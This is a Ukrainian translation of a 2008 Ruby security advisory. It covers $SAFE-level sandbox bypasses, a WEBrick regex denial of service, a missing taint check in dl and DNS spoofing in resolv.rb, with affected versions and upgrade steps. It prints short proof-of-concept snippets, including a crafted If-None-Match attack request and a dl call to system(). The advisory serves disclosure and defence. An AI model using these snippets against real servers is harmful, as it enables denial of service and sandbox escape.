Кілька вразливостей у Ruby
Опублікував Shugo Maeda 08-08-2008
Переклав: Andrii Furmanets
Виявлено кілька вразливостей у Ruby. Рекомендується оновлюватися до останніх версій.
Деталі
Виявлено наступні вразливості.
Кілька вразливостей у рівні безпеки
Виявлено кілька вразливостей у рівні безпеки.
-
untrace_var дозволено на рівні безпеки 4.
trace_var(:$VAR) {|val| puts "$VAR = #{val}" } Thread.new do $SAFE = 4 eval %q{ proc = untrace_var :$VAR proc.first.call("aaa") } end.join -
$PROGRAM_NAME може бути змінено на рівні безпеки 4.
Thread.new do $SAFE = 4 eval %q{$PROGRAM_NAME.replace "Hello, World!"} end.join $PROGRAM_NAME #=> "Hello, World!" -
Небезпечні методи можуть викликатися на рівні безпеки 1-3.
class Hello def world Thread.new do $SAFE = 4 msg = "Hello, World!" def msg.size self.replace self*10 # replace string 1 # return wrong size end msg end.value end end $SAFE = 1 # or 2, or 3 s = Hello.new.world if s.kind_of?(String) puts s if s.size < 20 # print string which size is less than 20 end -
Операції Syslog дозволені на рівні безпеки 4.
require "syslog" Syslog.open Thread.new do $SAFE = 4 eval %q{ Syslog.log(Syslog::LOG_WARNING, "Hello, World!") Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG) Syslog.info("masked") Syslog.close } end.join
Ці вразливості повідомлено Keita Yamaguchi.
Вразливість DoS у WEBrick
WEBrick::HTTP::DefaultFileHandler має помилку експоненційного часу при запитах через регулярний вираз з поверненням у WEBrick::HTTPUtils.split_header_value.
Експлойтований сервер:
require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
Атака:
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res
Запит, ймовірно, не завершиться в цьому всесвіті.
Цю вразливість повідомлено Christian Neukirchen.
Відсутність перевірки taintness у dl
dl не перевіряє taintness, тому це може дозволити зловмисникам викликати небезпечні функції.
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
Цю вразливість повідомлено sheepman.
Вразливість підробки DNS у resolv.rb
resolv.rb дозволяє віддаленим зловмисникам підробляти відповіді DNS. Цей ризик може бути зменшений випадковістю ID транзакцій DNS та вихідних портів, тому resolv.rb виправлено для рандомізації їх.
- див. також: CVE-2008-1447
Цю вразливість повідомлено Tanaka Akira.
Вразливі версії
- Серія 1.8
-
- 1.8.5 та всі попередні версії
- 1.8.6-p286 та всі попередні версії
- 1.8.7-p71 та всі попередні версії
- Серія 1.9
-
- r18423 та всі попередні ревізії
Рішення
- Серія 1.8
- Будь ласка, оновіться до 1.8.6-p287, або 1.8.7-p72.
- Серія 1.9
-
Будь ласка, виконайте checkout останньої версії, використовуючи Subversion.
$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby
Будь ласка, зверніть увагу, що пакет, який виправляє цю слабкість, може вже бути доступний через ваше програмне забезпечення управління пакетами.
Подяка
Подяка Keita Yamaguchi, Christian Neukirchen, sheepman, та Tanaka Akira за розкриття цих проблем команді безпеки Ruby.
Зміни
- 2008-08-08 12:21 +09:00 виправлено номер ревізії ruby 1.9.
- 2008-08-11 11:23 +09:00 виправлено рівень патчу ruby 1.8. див. оголошення про випуск Ruby 1.8.7-p72 та 1.8.6-p287
Останні новини
Вийшов Ruby 4.0.4
Вийшов Ruby 4.0.4.
Опублікував k0kubun 11-05-2026
Вийшов Ruby 4.0.3
Вийшов Ruby 4.0.3.
Опублікував k0kubun 21-04-2026
Вийшов Ruby 3.2.11
Вийшов Ruby 3.2.11. Цей реліз містить оновлення gem zlib, яке усуває CVE-2026-27820.
Опублікував hsbt 27-03-2026
Вийшов Ruby 3.3.11
Вийшов Ruby 3.3.11. Цей реліз містить оновлення gem zlib, яке усуває CVE-2026-27820, а також кілька виправлень помилок.
Опублікував hsbt 26-03-2026